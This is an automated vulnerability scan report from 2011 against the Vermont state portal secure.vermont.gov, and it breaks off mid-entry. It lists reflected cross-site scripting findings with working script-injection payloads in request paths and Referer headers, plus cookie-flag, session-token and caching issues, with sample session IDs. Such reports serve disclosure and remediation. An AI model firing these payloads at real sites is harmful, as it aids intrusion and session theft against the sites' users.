XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, secure.vermont.gov

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Report generated by XSS.CX at Fri Apr 29 15:30:18 CDT 2011.

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1. Cross-site scripting (reflected)

1.1. https://secure.vermont.gov/portal/index.php [name of an arbitrarily supplied request parameter]

1.2. https://secure.vermont.gov/myvermont/ [Referer HTTP header]

1.3. https://secure.vermont.gov/myvermont/index.php [Referer HTTP header]

1.4. https://secure.vermont.gov/myvermont/myvermont.php [Referer HTTP header]

2. SSL cookie without secure flag set

2.1. https://secure.vermont.gov/ACCD/eventreg/

2.2. https://secure.vermont.gov/AOT/eventreg/

2.3. https://secure.vermont.gov/bizfile/index

2.4. https://secure.vermont.gov/dmv/express

2.5. https://secure.vermont.gov/hd/index

2.6. https://secure.vermont.gov/vtcdas/user

2.7. https://secure.vermont.gov/vtpay/user

3. Session token in URL

4. Cookie without HttpOnly flag set

4.1. https://secure.vermont.gov/ACCD/eventreg/

4.2. https://secure.vermont.gov/AOT/eventreg/

4.3. https://secure.vermont.gov/bizfile/index

4.4. https://secure.vermont.gov/dmv/express

4.5. https://secure.vermont.gov/hd/index

4.6. https://secure.vermont.gov/vtcdas/user

4.7. https://secure.vermont.gov/vtpay/user

5. Password field with autocomplete enabled

5.1. https://secure.vermont.gov/TAX/refund/

5.2. https://secure.vermont.gov/bizfile/index

5.3. https://secure.vermont.gov/myvermont/

5.4. https://secure.vermont.gov/myvermont/index.php

5.5. https://secure.vermont.gov/myvermont/signup.php

6. Source code disclosure

7. Cross-domain script include

7.1. https://secure.vermont.gov/myvermont/signup.php

7.2. https://secure.vermont.gov/portal/search.php

8. Email addresses disclosed

8.1. https://secure.vermont.gov/ACCD/eventreg/

8.2. https://secure.vermont.gov/bizfile/index

8.3. https://secure.vermont.gov/myvermont/signup.php

8.4. https://secure.vermont.gov/portal/rss/feeds/news.php

9. Cacheable HTTPS response

9.1. https://secure.vermont.gov/DMV/reinstatement/

9.2. https://secure.vermont.gov/DPS/publicrecords/

9.3. https://secure.vermont.gov/TAX/refund/

9.4. https://secure.vermont.gov/dmv/express

9.5. https://secure.vermont.gov/myvermont/

9.6. https://secure.vermont.gov/myvermont/index.php

9.7. https://secure.vermont.gov/myvermont/problem.php

9.8. https://secure.vermont.gov/myvermont/signup.php

9.9. https://secure.vermont.gov/portal/index.php

9.10. https://secure.vermont.gov/portal/rotator.php

9.11. https://secure.vermont.gov/portal/rss/feeds/news.php

9.12. https://secure.vermont.gov/portal/search.php

9.13. https://secure.vermont.gov/vtcdas/user

9.14. https://secure.vermont.gov/vtpay/user

10. HTML does not specify charset

10.1. https://secure.vermont.gov/dmv/express

10.2. https://secure.vermont.gov/portal/rotator.php

10.3. https://secure.vermont.gov/vtcdas/user

10.4. https://secure.vermont.gov/vtpay/user


1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://secure.vermont.gov/portal/index.php [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /portal/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e954"><script>alert(1)</script>682137030f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /portal/index.php/6e954"><script>alert(1)</script>682137030f HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:17:34 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 29165

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov </title>
<meta name="verify-v1" content="3S
...[SNIP]...
<form method="post" action="/portal/index.php/6e954"><script>alert(1)</script>682137030f" name="weather">
...[SNIP]...
1.2. https://secure.vermont.gov/myvermont/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 47fd5'><script>alert(1)</script>64023878e70 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /myvermont/ HTTP/1.1
Host: secure.vermont.gov
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=211816467.1304107747.1.1.utmcsr=state.vt.us|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=211816467.1804786048.1304107747.1304107747.1304107747.1; __utmc=211816467; __utmb=211816467.6.9.1304107826895
Referer: http://www.google.com/search?hl=en&q=47fd5'><script>alert(1)</script>64023878e70

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:11:12 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 15079

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
<input type='hidden' name='refer' value='http://www.google.com/search?hl=en&q=47fd5'><script>alert(1)</script>64023878e70' />
...[SNIP]...
1.3. https://secure.vermont.gov/myvermont/index.php [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/index.php

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload cf7aa'><script>alert(1)</script>f18c3363b96 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /myvermont/index.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=cf7aa'><script>alert(1)</script>f18c3363b96

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:17:48 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 15160

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
<input type='hidden' name='refer' value='http://www.google.com/search?hl=en&q=cf7aa'><script>alert(1)</script>f18c3363b96' />
...[SNIP]...
1.4. https://secure.vermont.gov/myvermont/myvermont.php [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /myvermont/myvermont.php

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d0964'><script>alert(1)</script>d03a67584ae was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /myvermont/myvermont.php HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=d0964'><script>alert(1)</script>d03a67584ae

Response (redirected)

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:17:19 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 15160

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont.gov - myVermont.gov Accounts</title>
<meta nam
...[SNIP]...
<input type='hidden' name='refer' value='http://www.google.com/search?hl=en&q=d0964'><script>alert(1)</script>d03a67584ae' />
...[SNIP]...
2. SSL cookie without secure flag set  previous  next
There are 7 instances of this issue:

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

2.1. https://secure.vermont.gov/ACCD/eventreg/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /ACCD/eventreg/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ACCD/eventreg/ HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:47 GMT
Server: Apache
Set-Cookie: PHPSESSID=jf95n0fqvv34r0vj6sft5kqe44; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3426
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont Agency of Commerce and Community Development
...[SNIP]...
2.2. https://secure.vermont.gov/AOT/eventreg/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /AOT/eventreg/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /AOT/eventreg/ HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:50 GMT
Server: Apache
Set-Cookie: PHPSESSID=ncc2sb1qjnb78024k5dhhcipb0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2509
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont Agency of Transportation Event Registration</
...[SNIP]...
2.3. https://secure.vermont.gov/bizfile/index  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /bizfile/index

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bizfile/index HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:23 GMT
Server: Apache
Pragma: no-cache
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Length: 7010
Set-Cookie: JSESSIONID=aBDgovPG6Qm_; path=/
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Vermont Tax BizFile</title>
<meta http-equiv="Content-Type" content="tex
...[SNIP]...
2.4. https://secure.vermont.gov/dmv/express  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /dmv/express

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dmv/express HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:11 GMT
Server: Apache
Cache-Control: private
Content-Length: 5507
Set-Cookie: JSESSIONID=cIZ9ANgvlFg4; path=/
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>DMV Express - Vermont DMV's One Stop for All Your DMV Needs</title>
<META NAME="Keywords" CONTENT="Vermont, State,
...[SNIP]...
2.5. https://secure.vermont.gov/hd/index  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /hd/index

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /hd/index HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:27 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: JSESSIONID=acfADCOYu6wa; path=/
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 38015

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" >

...[SNIP]...
2.6. https://secure.vermont.gov/vtcdas/user  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /vtcdas/user

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /vtcdas/user HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:25 GMT
Server: Apache
Cache-Control: private
Content-Length: 6707
Set-Cookie: JSESSIONID=cahlWpUnC2xh; path=/
Connection: close
Content-Type: text/html

<HTML><HEAD><TITLE>VT Courts Online</TITLE>
<META
content="VT Courts Online provides online access to court summary information for civil and criminal court cases in Vermont"
name=description>
<META
c
...[SNIP]...
2.7. https://secure.vermont.gov/vtpay/user  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /vtpay/user

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /vtpay/user HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:29 GMT
Server: Apache
Cache-Control: private
Content-Length: 6573
Set-Cookie: JSESSIONID=cLJAdn4BT3y-; path=/
Connection: close
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- #BeginTemplate "/Templates/standard.dwt" -->
<head>
<!-- #BeginEditable "doctitle" -->
<title>VT Pay - Pay Your Taxes Online
...[SNIP]...
3. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /vtcdas/user

Issue detail

The response contains the following links that appear to contain session tokens:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /vtcdas/user HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:25 GMT
Server: Apache
Cache-Control: private
Content-Length: 6707
Set-Cookie: JSESSIONID=cahlWpUnC2xh; path=/
Connection: close
Content-Type: text/html

<HTML><HEAD><TITLE>VT Courts Online</TITLE>
<META
content="VT Courts Online provides online access to court summary information for civil and criminal court cases in Vermont"
name=description>
<META
c
...[SNIP]...
<li id="nav-login"><a href="/vtcdas/user;jsessionid=cahlWpUnC2xh?SUBMIT=StartEvt&CURRSTATE=com.nicusa.mvc.view.StartSt">Login</a></li>
<li id="nav-cal"><a href="/vtcdas/user;jsessionid=cahlWpUnC2xh?SUBMIT=Calendar&CURRSTATE=vt.court.docs.user.gui.Welcome">Calendar by Date and County</a>
...[SNIP]...
<li id="nav-acctcreate"><a href="/vtcdas/user;jsessionid=cahlWpUnC2xh?SUBMIT=AccountCreate&CURRSTATE=vt.court.docs.user.gui.Login&source=Login&source=Login">Create an account</a>
...[SNIP]...
<li id="nav-faq"><a href="/vtcdas/user;jsessionid=cahlWpUnC2xh?SUBMIT=FAQ&CURRSTATE=vt.court.docs.user.gui.Welcome">Frequently Asked Questions</a>
...[SNIP]...
<LI id="nav-judiciary"><A href="/vtcdas/user;jsessionid=cahlWpUnC2xh?SUBMIT=ContactJudiciary&CURRSTATE=vt.court.docs.user.gui.Welcome">Contact the Judiciary</A>
...[SNIP]...
<LI id="nav-feedback"><A href="/vtcdas/user;jsessionid=cahlWpUnC2xh?SUBMIT=Feedback&CURRSTATE=vt.court.docs.user.gui.Welcome">Feedback about VTCourtsOnline</A>
...[SNIP]...
formation when and if that information is not confidential.
It is not necessary to sign up for an account to view the calendar information. If you are looking for
the Public Calendar, please click the <a href="/vtcdas/user;jsessionid=cahlWpUnC2xh?SUBMIT=Calendar&CURRSTATE=vt.court.docs.user.gui.Welcome">
'Calendar by Date and County'</a>
...[SNIP]...
<td colspan="2"><a href="/vtcdas/user;jsessionid=cahlWpUnC2xh?SUBMIT=AccountCreate&CURRSTATE=vt.court.docs.user.gui.Login&source=Login">I don't have an account</a>
...[SNIP]...
<td colspan="2"><a href="/vtcdas/user;jsessionid=cahlWpUnC2xh?SUBMIT=ForgotPassword&CURRSTATE=vt.court.docs.user.gui.Login&source=Login">I forgot my password </a>
...[SNIP]...
4. Cookie without HttpOnly flag set  previous  next
There are 7 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. https://secure.vermont.gov/ACCD/eventreg/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /ACCD/eventreg/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ACCD/eventreg/ HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:47 GMT
Server: Apache
Set-Cookie: PHPSESSID=jf95n0fqvv34r0vj6sft5kqe44; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3426
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont Agency of Commerce and Community Development
...[SNIP]...
4.2. https://secure.vermont.gov/AOT/eventreg/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /AOT/eventreg/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /AOT/eventreg/ HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:50 GMT
Server: Apache
Set-Cookie: PHPSESSID=ncc2sb1qjnb78024k5dhhcipb0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2509
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Vermont Agency of Transportation Event Registration</
...[SNIP]...
4.3. https://secure.vermont.gov/bizfile/index  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /bizfile/index

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bizfile/index HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:23 GMT
Server: Apache
Pragma: no-cache
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Length: 7010
Set-Cookie: JSESSIONID=aBDgovPG6Qm_; path=/
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Vermont Tax BizFile</title>
<meta http-equiv="Content-Type" content="tex
...[SNIP]...
4.4. https://secure.vermont.gov/dmv/express  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /dmv/express

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dmv/express HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:11 GMT
Server: Apache
Cache-Control: private
Content-Length: 5507
Set-Cookie: JSESSIONID=cIZ9ANgvlFg4; path=/
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>DMV Express - Vermont DMV's One Stop for All Your DMV Needs</title>
<META NAME="Keywords" CONTENT="Vermont, State,
...[SNIP]...
4.5. https://secure.vermont.gov/hd/index  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /hd/index

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /hd/index HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:27 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: JSESSIONID=acfADCOYu6wa; path=/
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 38015

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" >

...[SNIP]...
4.6. https://secure.vermont.gov/vtcdas/user  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://secure.vermont.gov
Path:   /vtcdas/user

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /vtcdas/user HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:25 GMT
Server: Apache
Cache-Control: private
Content-Length: 6707
Set-Cookie: JSESSIONID=cahlWpUnC2xh; path=/
Connection: close
Content-Type: text/html

<HTML><HEAD><TITLE>VT Courts Online</TITLE>
<META
content="VT Courts Online provides online access to court summary information for civil and criminal court cases in Vermont"
name=description>
<META
c
...[SNIP]...
4.7. https://secure.vermont.gov/vtpay/user  previous  next

Summary

